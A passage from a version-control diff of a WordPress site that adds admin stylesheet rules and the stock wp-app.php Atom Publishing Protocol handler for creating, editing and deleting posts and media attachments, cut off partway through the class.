+	top: 1px;
+	width: 28px;
+}
+
+#favorite-actions .slide-down {
+	-moz-border-radius: 12px 12px 0 0;
+	-webkit-border-bottom-right-radius: 0;
+	-webkit-border-bottom-left-radius: 0;
+	-khtml-border-bottom-right-radius: 0;
+	-khtml-border-bottom-left-radius: 0;
+	border-bottom-right-radius: 0;
+	border-bottom-left-radius: 0;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+#utc-time, #local-time {
+	padding-left: 25px;
+	font-style: italic;
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+}
+
+ul#dismissed-updates {
+	display: none;
+}
+form.upgrade {
+	margin-top: 8px;
+}
+
+form.upgrade .hint {
+	font-style: italic;
+	font-size: 85%;
+	margin: -0.5em 0 2em 0;
+}
+
+#poststuff .inside .the-tagcloud {
+	margin: 5px 0 10px;
+	padding: 8px;
+	border-width: 1px;
+	border-style: solid;
+	line-height: 1.8em;
+	word-spacing: 3px;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+
+br.clear {
+	height: 2px;
+	line-height: 2px;
+}
+
+.swfupload {
+	margin: 5px 10px;
+	vertical-align: middle;
+}
+
+/* table.fixed column width */
+table.fixed {
+	table-layout: fixed;
+}
+
+.fixed .column-rating,
+.fixed .column-visible {
+	width: 8%;
+}
+
+.fixed .column-date,
+.fixed .column-parent,
+.fixed .column-links {
+	width: 10%;
+}
+
+.fixed .column-response,
+.fixed .column-author,
+.fixed .column-categories,
+.fixed .column-tags,
+.fixed .column-rel,
+.fixed .column-role {
+	width: 15%;
+}
+
+.fixed .column-comments {
+	width: 4em;
+	padding-top: 8px;
+}
+
+.fixed .column-slug {
+	width: 25%;
+}
+
+.fixed .column-posts {
+	width: 10%;
+}
+
+.fixed .column-icon {
+	width: 80px;
+}
+
+#commentstatusdiv .fixed .column-author,
+#comments-form .fixed .column-author,
+#commentstatusdiv .fixed .column-date {
+	width: 20%;
+}
+
+.widefat th,
+.widefat td {
+	overflow: hidden;
+}
+
+.widefat td p {
+	margin: 2px 0 0.8em;
+}
+
+table .vers,
+table .column-visible,
+table .column-rating {
+	text-align: center;
+}
+
+.icon32 {
+	float: left;
+	height: 36px;
+	margin: 14px 6px 0 0;
+	width: 36px;
+}
+
+.key-labels label {
+	line-height: 24px;
+}
+
+.subtitle {
+	font-size: 0.75em;
+	line-height: 1;
+	padding-left: 25px;
+}
+
+ol {
+	list-style-type: decimal;
+	margin-left: 2em;
+}
+
+.postbox-container {
+	float: left;
+	padding-right: 0.5%;
+}
+
+.postbox-container .meta-box-sortables {
+	min-height: 300px;
+}
+
+.temp-border {
+	border: 1px dotted #ccc;
+}
+
+.columns-prefs label {
+	padding: 0 5px;
+}
+
+.theme-install-php h4,
+.plugin-install-php h4 {
+	margin: 2.5em 0 8px;
+}
+
+p.install-help {
+	margin: 8px 0;
+	font-style: italic;
+}
+
+p.popular-tags {
+	-moz-border-radius: 8px;
+	-khtml-border-radius: 8px;
+	-webkit-border-radius: 8px;
+	border-radius: 8px;
+	border-width: 1px;
+	border-style: solid;
+	line-height: 2em;
+	padding: 8px 12px 12px;
+	text-align: justify;
+}
+
+p.popular-tags a {
+	padding: 0 3px;
+}
+
+.stuffbox .editcomment {
+	clear: none;
+}
+
+.ajax-feedback {
+	visibility: hidden;
+	vertical-align: bottom;
+}
+
+.tagsdiv .newtag {
+	width: 180px;
+}
+
+.tagsdiv .the-tags {
+	display: block;
+	height: 60px;
+	margin: 0 auto;
+	overflow: auto;
+	width: 260px;
+}
+
+#post-body-content .tagsdiv .the-tags {
+	margin: 0 5px;
+}
+
+label,
+#your-profile label + a {
+	vertical-align: middle;
+}
+
+.plugin-update-tr .update-message {
+	margin: 5px;
+	padding: 3px 5px;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 5px;
+	-khtml-border-radius: 5px;
+	-webkit-border-radius: 5px;
+	border-radius: 5px;
+}
Index: /trunk/www.guidonia.net/wp/wp-app.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-app.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-app.php	(revision 44)
@@ -0,0 +1,1638 @@
+<?php
+/**
+ * Atom Publishing Protocol support for WordPress
+ *
+ * @author Original by Elias Torres <http://torrez.us/archives/2006/08/31/491/>
+ * @author Modified by Dougal Campbell <http://dougal.gunters.org/>
+ * @version 1.0.5-dc
+ */
+
+/**
+ * WordPress is handling an Atom Publishing Protocol request.
+ *
+ * @var bool
+ */
+define('APP_REQUEST', true);
+
+/** Set up WordPress environment */
+require_once('./wp-load.php');
+
+/** Post Template API */
+require_once(ABSPATH . WPINC . '/post-template.php');
+
+/** Atom Publishing Protocol Class */
+require_once(ABSPATH . WPINC . '/atomlib.php');
+
+/** Feed Handling API */
+require_once(ABSPATH . WPINC . '/feed.php');
+
+/** Admin Image API for metadata updating */
+require_once(ABSPATH . '/wp-admin/includes/image.php');
+
+$_SERVER['PATH_INFO'] = preg_replace( '/.*\/wp-app\.php/', '', $_SERVER['REQUEST_URI'] );
+
+/**
+ * Whether to enable Atom Publishing Protocol Logging.
+ *
+ * @name app_logging
+ * @var int|bool
+ */
+$app_logging = 0;
+
+/**
+ * Whether to always authenticate user. Permanently set to true.
+ *
+ * @name always_authenticate
+ * @var int|bool
+ * @todo Should be an option somewhere
+ */
+$always_authenticate = 1;
+
+/**
+ * Writes logging info to a file.
+ *
+ * @since 2.2.0
+ * @uses $app_logging
+ * @package WordPress
+ * @subpackage Logging
+ *
+ * @param string $label Type of logging
+ * @param string $msg Information describing logging reason.
+ */
+function log_app($label,$msg) {
+	global $app_logging;
+	if ($app_logging) {
+		$fp = fopen( 'wp-app.log', 'a+');
+		$date = gmdate( 'Y-m-d H:i:s' );
+		fwrite($fp, "\n\n$date - $label\n$msg\n");
+		fclose($fp);
+	}
+}
+
+if ( !function_exists('wp_set_current_user') ) :
+/**
+ * @ignore
+ */
+function wp_set_current_user($id, $name = '') {
+	global $current_user;
+
+	if ( isset($current_user) && ($id == $current_user->ID) )
+		return $current_user;
+
+	$current_user = new WP_User($id, $name);
+
+	return $current_user;
+}
+endif;
+
+/**
+ * Filter to add more post statuses.
+ *
+ * @since 2.2.0
+ *
+ * @param string $where SQL statement to filter.
+ * @return string Filtered SQL statement with added post_status for where clause.
+ */
+function wa_posts_where_include_drafts_filter($where) {
+	$where = str_replace("post_status = 'publish'","post_status = 'publish' OR post_status = 'future' OR post_status = 'draft' OR post_status = 'inherit'", $where);
+	return $where;
+
+}
+add_filter('posts_where', 'wa_posts_where_include_drafts_filter');
+
+/**
+ * WordPress AtomPub API implementation.
+ *
+ * @package WordPress
+ * @subpackage Publishing
+ * @since 2.2.0
+ */
+class AtomServer {
+
+	/**
+	 * ATOM content type.
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	var $ATOM_CONTENT_TYPE = 'application/atom+xml';
+
+	/**
+	 * Categories ATOM content type.
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	var $CATEGORIES_CONTENT_TYPE = 'application/atomcat+xml';
+
+	/**
+	 * Service ATOM content type.
+	 *
+	 * @since 2.3.0
+	 * @var string
+	 */
+	var $SERVICE_CONTENT_TYPE = 'application/atomsvc+xml';
+
+	/**
+	 * ATOM XML namespace.
+	 *
+	 * @since 2.3.0
+	 * @var string
+	 */
+	var $ATOM_NS = 'http://www.w3.org/2005/Atom';
+
+	/**
+	 * ATOMPUB XML namespace.
+	 *
+	 * @since 2.3.0
+	 * @var string
+	 */
+	var $ATOMPUB_NS = 'http://www.w3.org/2007/app';
+
+	/**
+	 * Entries path.
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	var $ENTRIES_PATH = "posts";
+
+	/**
+	 * Categories path.
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	var $CATEGORIES_PATH = "categories";
+
+	/**
+	 * Media path.
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	var $MEDIA_PATH = "attachments";
+
+	/**
+	 * Entry path.
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	var $ENTRY_PATH = "post";
+
+	/**
+	 * Service path.
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	var $SERVICE_PATH = "service";
+
+	/**
+	 * Media single path.
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	var $MEDIA_SINGLE_PATH = "attachment";
+
+	/**
+	 * ATOMPUB parameters.
+	 *
+	 * @since 2.2.0
+	 * @var array
+	 */
+	var $params = array();
+
+	/**
+	 * Supported ATOMPUB media types.
+	 *
+	 * @since 2.3.0
+	 * @var array
+	 */
+	var $media_content_types = array('image/*','audio/*','video/*');
+
+	/**
+	 * ATOMPUB content type(s).
+	 *
+	 * @since 2.2.0
+	 * @var array
+	 */
+	var $atom_content_types = array('application/atom+xml');
+
+	/**
+	 * ATOMPUB methods.
+	 *
+	 * @since 2.2.0
+	 * @var unknown_type
+	 */
+	var $selectors = array();
+
+	/**
+	 * Whether to do output.
+	 *
+	 * Support for head.
+	 *
+	 * @since 2.2.0
+	 * @var bool
+	 */
+	var $do_output = true;
+
+	/**
+	 * PHP4 constructor - Sets up object properties.
+	 *
+	 * @since 2.2.0
+	 * @return AtomServer
+	 */
+	function AtomServer() {
+
+		$this->script_name = array_pop(explode('/',$_SERVER['SCRIPT_NAME']));
+		$this->app_base = get_bloginfo('url') . '/' . $this->script_name . '/';
+		if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on' ) {
+			$this->app_base = preg_replace( '/^http:\/\//', 'https://', $this->app_base );
+		}
+
+		$this->selectors = array(
+			'@/service$@' =>
+				array('GET' => 'get_service'),
+			'@/categories$@' =>
+				array('GET' => 'get_categories_xml'),
+			'@/post/(\d+)$@' =>
+				array('GET' => 'get_post',
+						'PUT' => 'put_post',
+						'DELETE' => 'delete_post'),
+			'@/posts/?(\d+)?$@' =>
+				array('GET' => 'get_posts',
+						'POST' => 'create_post'),
+			'@/attachments/?(\d+)?$@' =>
+				array('GET' => 'get_attachment',
+						'POST' => 'create_attachment'),
+			'@/attachment/file/(\d+)$@' =>
+				array('GET' => 'get_file',
+						'PUT' => 'put_file',
+						'DELETE' => 'delete_file'),
+			'@/attachment/(\d+)$@' =>
+				array('GET' => 'get_attachment',
+						'PUT' => 'put_attachment',
+						'DELETE' => 'delete_attachment'),
+		);
+	}
+
+	/**
+	 * Handle ATOMPUB request.
+	 *
+	 * @since 2.2.0
+	 */
+	function handle_request() {
+		global $always_authenticate;
+
+		if( !empty( $_SERVER['ORIG_PATH_INFO'] ) )
+			$path = $_SERVER['ORIG_PATH_INFO'];
+		else
+			$path = $_SERVER['PATH_INFO'];
+
+		$method = $_SERVER['REQUEST_METHOD'];
+
+		log_app('REQUEST',"$method $path\n================");
+
+		$this->process_conditionals();
+		//$this->process_conditionals();
+
+		// exception case for HEAD (treat exactly as GET, but don't output)
+		if($method == 'HEAD') {
+			$this->do_output = false;
+			$method = 'GET';
+		}
+
+		// redirect to /service in case no path is found.
+		if(strlen($path) == 0 || $path == '/') {
+			$this->redirect($this->get_service_url());
+		}
+
+		// check to see if AtomPub is enabled
+		if( !get_option( 'enable_app' ) )
+			$this->forbidden( sprintf( __( 'AtomPub services are disabled on this blog.  An admin user can enable them at %s' ), admin_url('options-writing.php') ) );
+
+		// dispatch
+		foreach($this->selectors as $regex => $funcs) {
+			if(preg_match($regex, $path, $matches)) {
+			if(isset($funcs[$method])) {
+
+				// authenticate regardless of the operation and set the current
+				// user. each handler will decide if auth is required or not.
+				if(!$this->authenticate()) {
+					if ($always_authenticate) {
+						$this->auth_required('Credentials required.');
+					}
+				}
+
+				array_shift($matches);
+				call_user_func_array(array(&$this,$funcs[$method]), $matches);
+				exit();
+			} else {
+				// only allow what we have handlers for...
+				$this->not_allowed(array_keys($funcs));
+			}
+			}
+		}
+
+		// oops, nothing found
+		$this->not_found();
+	}
+
+	/**
+	 * Retrieve XML for ATOMPUB service.
+	 *
+	 * @since 2.2.0
+	 */
+	function get_service() {
+		log_app('function','get_service()');
+
+		if( !current_user_can( 'edit_posts' ) )
+			$this->auth_required( __( 'Sorry, you do not have the right to access this blog.' ) );
+
+		$entries_url = esc_attr($this->get_entries_url());
+		$categories_url = esc_attr($this->get_categories_url());
+		$media_url = esc_attr($this->get_attachments_url());
+		foreach ($this->media_content_types as $med) {
+			$accepted_media_types = $accepted_media_types . "<accept>" . $med . "</accept>";
+		}
+		$atom_prefix="atom";
+		$atom_blogname=get_bloginfo('name');
+		$service_doc = <<<EOD
+<service xmlns="$this->ATOMPUB_NS" xmlns:$atom_prefix="$this->ATOM_NS">
+  <workspace>
+    <$atom_prefix:title>$atom_blogname Workspace</$atom_prefix:title>
+    <collection href="$entries_url">
+      <$atom_prefix:title>$atom_blogname Posts</$atom_prefix:title>
+      <accept>$this->ATOM_CONTENT_TYPE;type=entry</accept>
+      <categories href="$categories_url" />
+    </collection>
+    <collection href="$media_url">
+      <$atom_prefix:title>$atom_blogname Media</$atom_prefix:title>
+      $accepted_media_types
+    </collection>
+  </workspace>
+</service>
+
+EOD;
+
+		$this->output($service_doc, $this->SERVICE_CONTENT_TYPE);
+	}
+
+	/**
+	 * Retrieve categories list in XML format.
+	 *
+	 * @since 2.2.0
+	 */
+	function get_categories_xml() {
+		log_app('function','get_categories_xml()');
+
+		if( !current_user_can( 'edit_posts' ) )
+			$this->auth_required( __( 'Sorry, you do not have the right to access this blog.' ) );
+
+		$home = esc_attr(get_bloginfo_rss('home'));
+
+		$categories = "";
+		$cats = get_categories("hierarchical=0&hide_empty=0");
+		foreach ((array) $cats as $cat) {
+			$categories .= "    <category term=\"" . esc_attr($cat->name) .  "\" />\n";
+}
+		$output = <<<EOD
+<app:categories xmlns:app="$this->ATOMPUB_NS"
+	xmlns="$this->ATOM_NS"
+	fixed="yes" scheme="$home">
+	$categories
+</app:categories>
+EOD;
+	$this->output($output, $this->CATEGORIES_CONTENT_TYPE);
+}
+
+	/**
+	 * Create new post.
+	 *
+	 * @since 2.2.0
+	 */
+	function create_post() {
+		global $blog_id, $user_ID;
+		$this->get_accepted_content_type($this->atom_content_types);
+
+		$parser = new AtomParser();
+		if(!$parser->parse()) {
+			$this->client_error();
+		}
+
+		$entry = array_pop($parser->feed->entries);
+
+		log_app('Received entry:', print_r($entry,true));
+
+		$catnames = array();
+		foreach($entry->categories as $cat)
+			array_push($catnames, $cat["term"]);
+
+		$wp_cats = get_categories(array('hide_empty' => false));
+
+		$post_category = array();
+
+		foreach($wp_cats as $cat) {
+			if(in_array($cat->name, $catnames))
+				array_push($post_category, $cat->term_id);
+		}
+
+		$publish = (isset($entry->draft) && trim($entry->draft) == 'yes') ? false : true;
+
+		$cap = ($publish) ? 'publish_posts' : 'edit_posts';
+
+		if(!current_user_can($cap))
+			$this->auth_required(__('Sorry, you do not have the right to edit/publish new posts.'));
+
+		$blog_ID = (int ) $blog_id;
+		$post_status = ($publish) ? 'publish' : 'draft';
+		$post_author = (int) $user_ID;
+		$post_title = $entry->title[1];
+		$post_content = $entry->content[1];
+		$post_excerpt = $entry->summary[1];
+		$pubtimes = $this->get_publish_time($entry->published);
+		$post_date = $pubtimes[0];
+		$post_date_gmt = $pubtimes[1];
+
+		if ( isset( $_SERVER['HTTP_SLUG'] ) )
+			$post_name = $_SERVER['HTTP_SLUG'];
+
+		$post_data = compact('blog_ID', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'post_name');
+
+		$this->escape($post_data);
+		log_app('Inserting Post. Data:', print_r($post_data,true));
+
+		$postID = wp_insert_post($post_data);
+		if ( is_wp_error( $postID ) )
+			$this->internal_error($postID->get_error_message());
+
+		if (!$postID)
+			$this->internal_error(__('Sorry, your entry could not be posted. Something wrong happened.'));
+
+		// getting warning here about unable to set headers
+		// because something in the cache is printing to the buffer
+		// could we clean up wp_set_post_categories or cache to not print
+		// this could affect our ability to send back the right headers
+		@wp_set_post_categories($postID, $post_category);
+
+		do_action( 'atompub_create_post', $postID, $entry );
+
+		$output = $this->get_entry($postID);
+
+		log_app('function',"create_post($postID)");
+		$this->created($postID, $output);
+	}
+
+	/**
+	 * Retrieve post.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function get_post($postID) {
+		global $entry;
+
+		if( !current_user_can( 'edit_post', $postID ) )
+			$this->auth_required( __( 'Sorry, you do not have the right to access this post.' ) );
+
+		$this->set_current_entry($postID);
+		$output = $this->get_entry($postID);
+		log_app('function',"get_post($postID)");
+		$this->output($output);
+
+	}
+
+	/**
+	 * Update post.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function put_post($postID) {
+		// checked for valid content-types (atom+xml)
+		// quick check and exit
+		$this->get_accepted_content_type($this->atom_content_types);
+
+		$parser = new AtomParser();
+		if(!$parser->parse()) {
+			$this->bad_request();
+		}
+
+		$parsed = array_pop($parser->feed->entries);
+
+		log_app('Received UPDATED entry:', print_r($parsed,true));
+
+		// check for not found
+		global $entry;
+		$this->set_current_entry($postID);
+
+		if(!current_user_can('edit_post', $entry['ID']))
+			$this->auth_required(__('Sorry, you do not have the right to edit this post.'));
+
+		$publish = (isset($parsed->draft) && trim($parsed->draft) == 'yes') ? false : true;
+		$post_status = ($publish) ? 'publish' : 'draft';
+
+		extract($entry);
+
+		$post_title = $parsed->title[1];
+		$post_content = $parsed->content[1];
+		$post_excerpt = $parsed->summary[1];
+		$pubtimes = $this->get_publish_time($entry->published);
+		$post_date = $pubtimes[0];
+		$post_date_gmt = $pubtimes[1];
+		$pubtimes = $this->get_publish_time($parsed->updated);
+		$post_modified = $pubtimes[0];
+		$post_modified_gmt = $pubtimes[1];
+
+		$postdata = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt');
+		$this->escape($postdata);
+
+		$result = wp_update_post($postdata);
+
+		if (!$result) {
+			$this->internal_error(__('For some strange yet very annoying reason, this post could not be edited.'));
+		}
+
+		do_action( 'atompub_put_post', $ID, $parsed );
+
+		log_app('function',"put_post($postID)");
+		$this->ok();
+	}
+
+	/**
+	 * Remove post.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function delete_post($postID) {
+
+		// check for not found
+		global $entry;
+		$this->set_current_entry($postID);
+
+		if(!current_user_can('edit_post', $postID)) {
+			$this->auth_required(__('Sorry, you do not have the right to delete this post.'));
+		}
+
+		if ($entry['post_type'] == 'attachment') {
+			$this->delete_attachment($postID);
+		} else {
+			$result = wp_delete_post($postID);
+
+			if (!$result) {
+				$this->internal_error(__('For some strange yet very annoying reason, this post could not be deleted.'));
+			}
+
+			log_app('function',"delete_post($postID)");
+			$this->ok();
+		}
+
+	}
+
+	/**
+	 * Retrieve attachment.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Optional. Post ID.
+	 */
+	function get_attachment($postID = null) {
+		if( !current_user_can( 'upload_files' ) )
+			$this->auth_required( __( 'Sorry, you do not have permission to upload files.' ) );
+
+		if (!isset($postID)) {
+			$this->get_attachments();
+		} else {
+			$this->set_current_entry($postID);
+			$output = $this->get_entry($postID, 'attachment');
+			log_app('function',"get_attachment($postID)");
+			$this->output($output);
+		}
+	}
+
+	/**
+	 * Create new attachment.
+	 *
+	 * @since 2.2.0
+	 */
+	function create_attachment() {
+
+		$type = $this->get_accepted_content_type();
+
+		if(!current_user_can('upload_files'))
+			$this->auth_required(__('You do not have permission to upload files.'));
+
+		$fp = fopen("php://input", "rb");
+		$bits = null;
+		while(!feof($fp)) {
+			$bits .= fread($fp, 4096);
+		}
+		fclose($fp);
+
+		$slug = '';
+		if ( isset( $_SERVER['HTTP_SLUG'] ) )
+			$slug = sanitize_file_name( $_SERVER['HTTP_SLUG'] );
+		elseif ( isset( $_SERVER['HTTP_TITLE'] ) )
+			$slug = sanitize_file_name( $_SERVER['HTTP_TITLE'] );
+		elseif ( empty( $slug ) ) // just make a random name
+			$slug = substr( md5( uniqid( microtime() ) ), 0, 7);
+		$ext = preg_replace( '|.*/([a-z0-9]+)|', '$1', $_SERVER['CONTENT_TYPE'] );
+		$slug = "$slug.$ext";
+		$file = wp_upload_bits( $slug, NULL, $bits);
+
+		log_app('wp_upload_bits returns:',print_r($file,true));
+
+		$url = $file['url'];
+		$file = $file['file'];
+
+		do_action('wp_create_file_in_uploads', $file); // replicate
+
+		// Construct the attachment array
+		$attachment = array(
+			'post_title' => $slug,
+			'post_content' => $slug,
+			'post_status' => 'attachment',
+			'post_parent' => 0,
+			'post_mime_type' => $type,
+			'guid' => $url
+			);
+
+		// Save the data
+		$postID = wp_insert_attachment($attachment, $file);
+
+		if (!$postID)
+			$this->internal_error(__('Sorry, your entry could not be posted. Something wrong happened.'));
+
+		$output = $this->get_entry($postID, 'attachment');
+
+		$this->created($postID, $output, 'attachment');
+		log_app('function',"create_attachment($postID)");
+	}
+
+	/**
+	 * Update attachment.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function put_attachment($postID) {
+		// checked for valid content-types (atom+xml)
+		// quick check and exit
+		$this->get_accepted_content_type($this->atom_content_types);
+
+		$parser = new AtomParser();
+		if(!$parser->parse()) {
+			$this->bad_request();
+		}
+
+		$parsed = array_pop($parser->feed->entries);
+
+		// check for not found
+		global $entry;
+		$this->set_current_entry($postID);
+
+		if(!current_user_can('edit_post', $entry['ID']))
+			$this->auth_required(__('Sorry, you do not have the right to edit this post.'));
+
+		extract($entry);
+
+		$post_title = $parsed->title[1];
+		$post_content = $parsed->summary[1];
+		$pubtimes = $this->get_publish_time($parsed->updated);
+		$post_modified = $pubtimes[0];
+		$post_modified_gmt = $pubtimes[1];
+
+		$postdata = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'post_modified', 'post_modified_gmt');
+		$this->escape($postdata);
+
+		$result = wp_update_post($postdata);
+
+		if (!$result) {
+			$this->internal_error(__('For some strange yet very annoying reason, this post could not be edited.'));
+		}
+
+		log_app('function',"put_attachment($postID)");
+		$this->ok();
+	}
+
+	/**
+	 * Remove attachment.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function delete_attachment($postID) {
+		log_app('function',"delete_attachment($postID). File '$location' deleted.");
+
+		// check for not found
+		global $entry;
+		$this->set_current_entry($postID);
+
+		if(!current_user_can('edit_post', $postID)) {
+			$this->auth_required(__('Sorry, you do not have the right to delete this post.'));
+		}
+
+		$location = get_post_meta($entry['ID'], '_wp_attached_file', true);
+		$filetype = wp_check_filetype($location);
+
+		if(!isset($location) || 'attachment' != $entry['post_type'] || empty($filetype['ext']))
+			$this->internal_error(__('Error ocurred while accessing post metadata for file location.'));
+
+		// delete file
+		@unlink($location);
+
+		// delete attachment
+		$result = wp_delete_post($postID);
+
+		if (!$result) {
+			$this->internal_error(__('For some strange yet very annoying reason, this post could not be deleted.'));
+		}
+
+		log_app('function',"delete_attachment($postID). File '$location' deleted.");
+		$this->ok();
+	}
+
+	/**
+	 * Retrieve attachment from post.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function get_file($postID) {
+
+		// check for not found
+		global $entry;
+		$this->set_current_entry($postID);
+
+		// then whether user can edit the specific post
+		if(!current_user_can('edit_post', $postID)) {
+			$this->auth_required(__('Sorry, you do not have the right to edit this post.'));
+		}
+
+		$location = get_post_meta($entry['ID'], '_wp_attached_file', true);
+		$filetype = wp_check_filetype($location);
+
+		if(!isset($location) || 'attachment' != $entry['post_type'] || empty($filetype['ext']))
+			$this->internal_error(__('Error ocurred while accessing post metadata for file location.'));
+
+		status_header('200');
+		header('Content-Type: ' . $entry['post_mime_type']);
+		header('Connection: close');
+
+		$fp = fopen($location, "rb");
+		while(!feof($fp)) {
+			echo fread($fp, 4096);
+		}
+		fclose($fp);
+
+		log_app('function',"get_file($postID)");
+		exit;
+	}
+
+	/**
+	 * Upload file to blog and add attachment to post.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function put_file($postID) {
+
+		// first check if user can upload
+		if(!current_user_can('upload_files'))
+			$this->auth_required(__('You do not have permission to upload files.'));
+
+		// check for not found
+		global $entry;
+		$this->set_current_entry($postID);
+
+		// then whether user can edit the specific post
+		if(!current_user_can('edit_post', $postID)) {
+			$this->auth_required(__('Sorry, you do not have the right to edit this post.'));
+		}
+
+		$upload_dir = wp_upload_dir( );
+		$location = get_post_meta($entry['ID'], '_wp_attached_file', true);
+		$filetype = wp_check_filetype($location);
+
+		$location = "{$upload_dir['basedir']}/{$location}";
+
+		if(!isset($location) || 'attachment' != $entry['post_type'] || empty($filetype['ext']))
+			$this->internal_error(__('Error ocurred while accessing post metadata for file location.'));
+
+		$fp = fopen("php://input", "rb");
+		$localfp = fopen($location, "w+");
+		while(!feof($fp)) {
+			fwrite($localfp,fread($fp, 4096));
+		}
+		fclose($fp);
+		fclose($localfp);
+
+		$ID = $entry['ID'];
+		$pubtimes = $this->get_publish_time($entry->published);
+		$post_date = $pubtimes[0];
+		$post_date_gmt = $pubtimes[1];
+		$pubtimes = $this->get_publish_time($parsed->updated);
+		$post_modified = $pubtimes[0];
+		$post_modified_gmt = $pubtimes[1];
+
+		$post_data = compact('ID', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt');
+		$result = wp_update_post($post_data);
+
+		if (!$result) {
+			$this->internal_error(__('Sorry, your entry could not be posted. Something wrong happened.'));
+		}
+
+		wp_update_attachment_metadata( $postID, wp_generate_attachment_metadata( $postID, $location ) );
+
+		log_app('function',"put_file($postID)");
+		$this->ok();
+	}
+
+	/**
+	 * Retrieve entries URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $page Page ID.
+	 * @return string
+	 */
+	function get_entries_url($page = null) {
+		if($GLOBALS['post_type'] == 'attachment') {
+			$path = $this->MEDIA_PATH;
+		} else {
+			$path = $this->ENTRIES_PATH;
+		}
+		$url = $this->app_base . $path;
+		if(isset($page) && is_int($page)) {
+			$url .= "/$page";
+		}
+		return $url;
+	}
+
+	/**
+	 * Display entries URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $page Page ID.
+	 */
+	function the_entries_url($page = null) {
+		echo $this->get_entries_url($page);
+	}
+
+	/**
+	 * Retrieve categories URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param mixed $deprecated Optional, not used.
+	 * @return string
+	 */
+	function get_categories_url($deprecated = '') {
+		return $this->app_base . $this->CATEGORIES_PATH;
+	}
+
+	/**
+	 * Display category URL.
+	 *
+	 * @since 2.2.0
+	 */
+	function the_categories_url() {
+		echo $this->get_categories_url();
+	}
+
+	/**
+	 * Retrieve attachment URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $page Page ID.
+	 * @return string
+	 */
+	function get_attachments_url($page = null) {
+		$url = $this->app_base . $this->MEDIA_PATH;
+		if(isset($page) && is_int($page)) {
+			$url .= "/$page";
+		}
+		return $url;
+	}
+
+	/**
+	 * Display attachment URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $page Page ID.
+	 */
+	function the_attachments_url($page = null) {
+		echo $this->get_attachments_url($page);
+	}
+
+	/**
+	 * Retrieve service URL.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @return string
+	 */
+	function get_service_url() {
+		return $this->app_base . $this->SERVICE_PATH;
+	}
+
+	/**
+	 * Retrieve entry URL.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param int $postID Post ID.
+	 * @return string
+	 */
+	function get_entry_url($postID = null) {
+		if(!isset($postID)) {
+			global $post;
+			$postID = (int) $post->ID;
+		}
+
+		$url = $this->app_base . $this->ENTRY_PATH . "/$postID";
+
+		log_app('function',"get_entry_url() = $url");
+		return $url;
+	}
+
+	/**
+	 * Display entry URL.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function the_entry_url($postID = null) {
+		echo $this->get_entry_url($postID);
+	}
+
+	/**
+	 * Retrieve media URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 * @return string
+	 */
+	function get_media_url($postID = null) {
+		if(!isset($postID)) {
+			global $post;
+			$postID = (int) $post->ID;
+		}
+
+		$url = $this->app_base . $this->MEDIA_SINGLE_PATH ."/file/$postID";
+
+		log_app('function',"get_media_url() = $url");
+		return $url;
+	}
+
+	/**
+	 * Display the media URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function the_media_url($postID = null) {
+		echo $this->get_media_url($postID);
+	}
+
+	/**
+	 * Set the current entry to post ID.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 */
+	function set_current_entry($postID) {
+		global $entry;
+		log_app('function',"set_current_entry($postID)");
+
+		if(!isset($postID)) {
+			// $this->bad_request();
+			$this->not_found();
+		}
+
+		$entry = wp_get_single_post($postID,ARRAY_A);
+
+		if(!isset($entry) || !isset($entry['ID']))
+			$this->not_found();
+
+		return;
+	}
+
+	/**
+	 * Display posts XML.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $page Optional. Page ID.
+	 * @param string $post_type Optional, default is 'post'. Post Type.
+	 */
+	function get_posts($page = 1, $post_type = 'post') {
+			log_app('function',"get_posts($page, '$post_type')");
+			$feed = $this->get_feed($page, $post_type);
+			$this->output($feed);
+	}
+
+	/**
+	 * Display attachment XML.
+	 *
+	 * @since 2.2.0
+	 *
